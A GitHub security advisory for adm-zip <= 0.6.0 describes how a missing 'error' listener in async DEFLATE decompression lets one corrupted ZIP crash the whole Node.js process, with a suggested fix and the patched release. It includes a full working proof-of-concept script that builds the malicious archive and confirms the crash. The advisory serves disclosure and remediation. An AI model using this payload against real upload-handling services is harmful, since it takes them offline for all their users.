--- id: GHSA-8238-w5pm-2374 title: >- adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS) summary: >- adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS) severity: high cvss: 7.5 cwe: - CWE-248 - CWE-400 vendor: adm-zip product: adm-zip ecosystem: npm affected: - adm-zip <= 0.6.0 patched: - adm-zip 0.6.1 published: '2026-09-29' updated: '2026-09-29' sourceUpdated: '2026-09-29T23:10:11Z' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-8238-w5pm-2374' references: - url: >- https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374 - url: >- https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49 - url: 'https://github.com/cthackers/adm-zip/releases/tag/v0.6.1' - url: 'https://github.com/advisories/GHSA-8238-w5pm-2374' tags: - ghsa - npm ingestedAt: '2026-09-29T23:52:50.542Z' --- ## Overview ## Summary Denial of Service in `adm-zip`'s async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file. ## Details **Affected package**: adm-zip **Affected versions**: at least 0.6.0 (current latest); likely all versions containing the current `inflateAsync` implementation in `methods/inflater.js` **Patched version**: 0.6.1 ### Root Cause `methods/inflater.js:12-32` (`inflateAsync`) creates a `zlib.createInflateRaw(option)` stream and feeds it attacker-controlled compressed bytes via `tmp.end(inbuf)`, but never registers an `"error"` listener on the stream: ```js inflateAsync: function (/*Function*/ callback) { var tmp = zlib.createInflateRaw(option), parts = [], total = 0; tmp.on("data", function (data) { parts.push(data); total += data.length; }); tmp.on("end", function () { /* build buf, callback(buf) */ }); tmp.end(inbuf); // no tmp.on("error", ...) registered anywhere } ``` Per Node.js `EventEmitter`/stream semantics, an `"error"` event emitted with zero listeners is rethrown as an **uncaught exception on a later tick**, originating from the zlib C++ binding. This cannot be caught by a `try/catch` wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the `try/catch` covers. This code path is reached from every public async API that decompresses entry data: `readFileAsync`, `readAsTextAsync`, `extractAllToAsync`, and `ZipEntry.getDataAsync` (`zipEntry.js:51`, `:97-120`, `:309-315`; `adm-zip.js:157-164`, `:192-210`, `:893`). This library recently patched **CVE-2026-39244** (GHSA-xcpc-8h2w-3j85), an unbounded `Buffer.alloc()` on the *synchronous* decompression path. That fix added a `maxOutputLength` option to `zlib.inflateRawSync`/`zlib.createInflateRaw`, and the sync path's resulting throw is naturally catchable. The async path shares the same `maxOutputLength` option (`methods/inflater.js:5`) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers: 1. A DEFLATE entry with corrupted/malformed compressed bytes (`Z_DATA_ERROR`) — no special crafting needed. 2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the `maxOutputLength` guard — but on the stream this surfaces via the unhandled `"error"` event rather than a catchable throw. ### Attack Vector 1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed. 2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.: ```js const zip = new AdmZip(uploadedBuffer); zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ }); ``` 3. `inflateAsync` begins decompressing; zlib emits `"error"` on `Z_DATA_ERROR`. 4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request. ## Impact Any Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error. ## Proof of Concept Attached: `poc_async_dos.py`. Summary of what it does: 1. Builds a fully valid ZIP using adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`), guaranteeing correct headers/CRC/offsets. 2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with `0xFF`, corrupting only the DEFLATE payload. 3. Parses the corrupted archive with a fresh `new AdmZip(badBuf)` (succeeds — headers are intact) and calls `entries[0].getDataAsync(callback)`, wrapped in `try/catch`, in an isolated child process. 4. Captures the child's exit code and stderr. Verified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node `zlib.createInflateRaw()` fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output: ``` [*] Child process exit code: 1 ----- Node child process stderr (crash evidence) ----- node:events:497 throw er; // Unhandled 'error' event ^ Error: invalid distance too far back at genericNodeError (node:internal/errors:983:15) at Zlib.zlibOnError [as onerror] (node:zlib:191:17) Emitted 'error' event on InflateRaw instance at: at emitErrorNT (node:internal/streams/destroy:170:8) at emitErrorCloseNT (node:internal/streams/destroy:129:3) at process.processTicksAndRejections (node:internal/process/task_queues:89:21) { errno: -3, code: 'Z_DATA_ERROR' } Node.js v22.22.1 -------------------------------------- [*] Caught by harness's own try/catch (would mean NOT vulnerable): False [*] getDataAsync callback ever fired (would mean NOT vulnerable): False [*] Child process exited non-zero (crashed): True [+] VULNERABILITY CONFIRMED ``` Reproduction: `python3 poc_async_dos.py` (requires python3 and Node.js; tested on Node.js v22.22.1). ## Suggested Fix Register an `"error"` listener on the `InflateRaw` stream in `methods/inflater.js`'s `inflateAsync`, and route it to the existing `callback`, e.g.: ```js inflateAsync: function (/*Function*/ callback) { var tmp = zlib.createInflateRaw(option), parts = [], total = 0; tmp.on("data", function (data) { parts.push(data); total += data.length; }); tmp.on("error", function (err) { // surface as a normal async error instead of crashing the process callback(Buffer.alloc(0), err); // or however this codebase's async // error convention is expressed }); tmp.on("end", function () { /* existing behavior */ }); tmp.end(inbuf); } ``` The exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an `err`-first convention, at the maintainer's discretion). The key fix is simply: **never leave a Node.js stream without an `"error"` listener when it can plausibly error on attacker-controlled input.** ## Full PoC Source (`poc_async_dos.py`) ```python #!/usr/bin/env python3 """ Tested version: adm-zip 0.6.0 Tested on: Linux, Node.js v22.22.1 Description: methods/inflater.js:12-32 (inflateAsync) creates a zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever registering an "error" listener on the stream. Per Node.js EventEmitter semantics, an "error" event emitted with zero listeners is rethrown as an uncaught exception -- this happens on a later tick from the zlib C++ binding, so it CANNOT be caught by a try/catch wrapped around the calling code. Any code that feeds an untrusted zip file into one of adm-zip's public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync, ZipEntry.getDataAsync) crashes the entire host Node.js process the moment it encounters a DEFLATE entry with corrupted/malformed compressed bytes. The synchronous decompression path (getData()) was hardened for CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable); this async streaming path was missed by that fix and remains an unauthenticated, single-request availability bug. Impact: Any service that accepts untrusted zip uploads and reads/extracts them via adm-zip's async API (the officially documented, recommended usage for non-blocking servers) can be crashed by a single malicious zip file, with no authentication and no special privileges required. Reproduction: 1. Install: this PoC runs directly against the adm-zip source tree this script lives alongside (no `npm install` needed -- it requires the local checkout via its package.json "main" entry, adm-zip.js). Requires: python3, node (tested with Node.js v22.22.1). 2. Run: python3 poc_async_dos.py 3. Observe: the spawned Node child process exits non-zero with an "Unhandled 'error' event" / Z_DATA_ERROR stack trace on stderr, originating from methods/inflater.js's zlib.createInflateRaw stream. Neither the harness's try/catch nor the getDataAsync callback ever fires -- proving the crash is unrecoverable from calling code. How the malicious zip is built (see the embedded Node harness in build_harness_script() below): 1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`) to produce a fully valid, well-formed zip archive with one DEFLATE entry. This guarantees every header/CRC/offset field is structurally correct. 2. Locate the local file header at offset 0 and compute the compressed data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields. 3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE payload while leaving every size/offset/CRC field in the local header, central directory, and EOCD record byte-for-byte unchanged, so adm-zip's own parser still locates and slices exactly the right region and reaches the vulnerable inflateAsync() call. """ import os import subprocess import sys import tempfile # ============================================================ # Configuration # ============================================================ PACKAGE_NAME = "adm-zip" TARGET_VERSION = "0.6.0" # The adm-zip source tree this PoC lives alongside (Hunter's checkout). REPO_DIR = os.path.dirname(os.path.abspath(__file__)) NODE_BIN = "node" SUBPROCESS_TIMEOUT_SECONDS = 20 # ============================================================ # Node.js harness (the genuine trigger -- adm-zip is a JS library, so the # actual exploit code must run under Node; this Python script builds it, # runs it in an isolated child process, and interprets the result). # ============================================================ def build_harness_script(repo_dir: str) -> str: return r""" "use strict"; const AdmZip = require(%(repo_dir)r); console.log("HARNESS_START"); // Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with // one DEFLATE-compressed entry. Repetitive text compresses well and // guarantees the DEFLATED method is chosen (not STORED). const zip = new AdmZip(); const payload = Buffer.from( "The quick brown fox jumps over the lazy dog. ".repeat(200), "utf8" ); zip.addFile("payload.txt", payload, ""); const goodBuf = zip.toBuffer(); console.log("BUILT_GOOD_ZIP bytes=" + goodBuf.length); // Step 2: locate the local file header (offset 0 in this single-entry // archive) and corrupt ONLY the compressed-data bytes in place, leaving // every size/offset/CRC field in the local header, central directory, and // EOCD record untouched -- so adm-zip's own parser still finds and slices // exactly the right region and reaches the vulnerable inflateAsync() path. const LOCSIG = 0x04034b50; if (goodBuf.readUInt32LE(0) !== LOCSIG) { throw new Error("unexpected local header signature -- adm-zip writer output changed"); } const compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ const fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM const extraLen = goodBuf.readUInt16LE(28); // LOCEXT const dataStart = 30 + fileNameLen + extraLen; const dataEnd = dataStart + compressedSize; console.log( "LOCAL_HEADER compressedSize=" + compressedSize + " dataStart=" + dataStart + " dataEnd=" + dataEnd ); const badBuf = Buffer.from(goodBuf); // copy, do not mutate original for (let i = dataStart; i < dataEnd; i++) { badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream } console.log("CORRUPTED_COMPRESSED_BYTES count=" + (dataEnd - dataStart)); // Step 3: parse the corrupted archive (this succeeds -- headers are intact) // and hit the vulnerable async decompression path. const zip2 = new AdmZip(badBuf); const entries = zip2.getEntries(); console.log( "PARSED_CORRUPT_ZIP entries=" + entries.length + " name=" + entries[0].entryName ); try { // This is the public, documented API a real server would call on an // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync // all funnel into the same decompress(true, ...) -> inflateAsync path). entries[0].getDataAsync(function (data, err) { // If this ever fires, the library handled the error gracefully // (no crash) -- meaning the vulnerability is NOT present / already // fixed in this build. console.log( "CALLBACK_FIRED data_len=" + (data ? data.length : 0) + " err=" + err ); }); console.log("SYNC_CALL_RETURNED_NO_THROW"); } catch (e) { // If this ever fires, the bug is NOT present -- the error would be // synchronously catchable by ordinary calling code. console.log("CAUGHT_BY_TRY_CATCH: " + e.message); } console.log("HARNESS_END_OF_SYNCHRONOUS_CODE"); // Deliberately NOT registering process.on("uncaughtException", ...) here -- // doing so would mask the exact bug under test. A real, unmodified server // process has no reason to install a blanket uncaughtException handler // either; that is precisely what makes this an unrecoverable process crash. """ % {"repo_dir": repo_dir} # ============================================================ # Step 1: Setup # ============================================================ def setup(): """Verify prerequisites and write out the Node.js harness script.""" print(f"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}") print(f"[*] Target adm-zip source tree: {REPO_DIR}") main_entry = os.path.join(REPO_DIR, "adm-zip.js") if not os.path.isfile(main_entry): print(f"[-] Cannot find adm-zip.js at {main_entry}") sys.exit(1) try: node_version = subprocess.run( [NODE_BIN, "--version"], capture_output=True, text=True, timeout=10 ) print(f"[*] Found Node.js: {node_version.stdout.strip()}") except FileNotFoundError: print("[-] node binary not found on PATH -- required to run this PoC") sys.exit(1) handle, harness_path = tempfile.mkstemp(prefix="admzip_async_dos_", suffix=".js") with os.fdopen(handle, "w") as f: f.write(build_harness_script(REPO_DIR)) print(f"[*] Wrote Node harness to {harness_path}") return harness_path # ============================================================ # Step 2: Trigger the vulnerability # ============================================================ def trigger(harness_path): """Run the Node harness (in its own isolated child process) that builds the malicious zip and feeds it into adm-zip's vulnerable async API.""" print("[*] Triggering vulnerability (spawning isolated Node subprocess)...") try: proc = subprocess.run( [NODE_BIN, harness_path], capture_output=True, text=True, timeout=SUBPROCESS_TIMEOUT_SECONDS, cwd=REPO_DIR, ) return { "timed_out": False, "returncode": proc.returncode, "stdout": proc.stdout, "stderr": proc.stderr, } except subprocess.TimeoutExpired as e: return { "timed_out": True, "returncode": None, "stdout": (e.stdout or b"").decode(errors="replace") if isinstance(e.stdout, bytes) else (e.stdout or ""), "stderr": (e.stderr or b"").decode(errors="replace") if isinstance(e.stderr, bytes) else (e.stderr or ""), } # ============================================================ # Step 3: Verify impact # ============================================================ def verify(result): """Check that the child process crashed with an unhandled 'error' event originating from the async inflater, and that neither the try/catch nor the getDataAsync callback in the harness ever ran.""" print("[*] Verifying impact...") print(f"[*] Child process exit code: {result['returncode']}") print() print("----- Node child process stdout -----") print(result["stdout"].rstrip()) print("----- Node child process stderr (crash evidence) -----") print(result["stderr"].rstrip()) print("--------------------------------------") print() if result["timed_out"]: print("[-] Harness timed out instead of crashing -- inconclusive") return False stdout = result["stdout"] stderr = result["stderr"] returncode = result["returncode"] reached_vuln_call = "SYNC_CALL_RETURNED_NO_THROW" in stdout was_caught = "CAUGHT_BY_TRY_CATCH" in stdout callback_fired = "CALLBACK_FIRED" in stdout process_crashed = returncode is not None and returncode != 0 unhandled_error_evidence = ( "Unhandled 'error' event" in stderr or "ERR_UNHANDLED_ERROR" in stderr or "Emitted 'error' event on InflateRaw instance" in stderr ) print(f"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}") print(f"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}") print(f"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}") print(f"[*] Child process exited non-zero (crashed): {process_crashed}") print(f"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}") success = ( reached_vuln_call and not was_caught and not callback_fired and process_crashed and unhandled_error_evidence ) return success # ============================================================ # Main # ============================================================ if __name__ == "__main__": print(f"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===") print(f"[*] Target version: {TARGET_VERSION}") print() harness_path = setup() try: result = trigger(harness_path) success = verify(result) finally: try: os.remove(harness_path) print(f"[*] Cleaned up temp harness file: {harness_path}") except OSError: pass print() if success: print("[+] VULNERABILITY CONFIRMED") print( "[+] Impact: a single untrusted zip file with a corrupted DEFLATE " "entry crashes the entire Node.js process when read via any " "adm-zip *Async API (readFileAsync / readAsTextAsync / " "extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, " "single-request, unrecoverable process-level Denial of Service." ) else: print("[-] Vulnerability NOT confirmed") sys.exit(0 if success else 1) ``` ## Affected packages - `adm-zip <= 0.6.0` ## Remediation Upgrade to a patched release: - `adm-zip 0.6.1`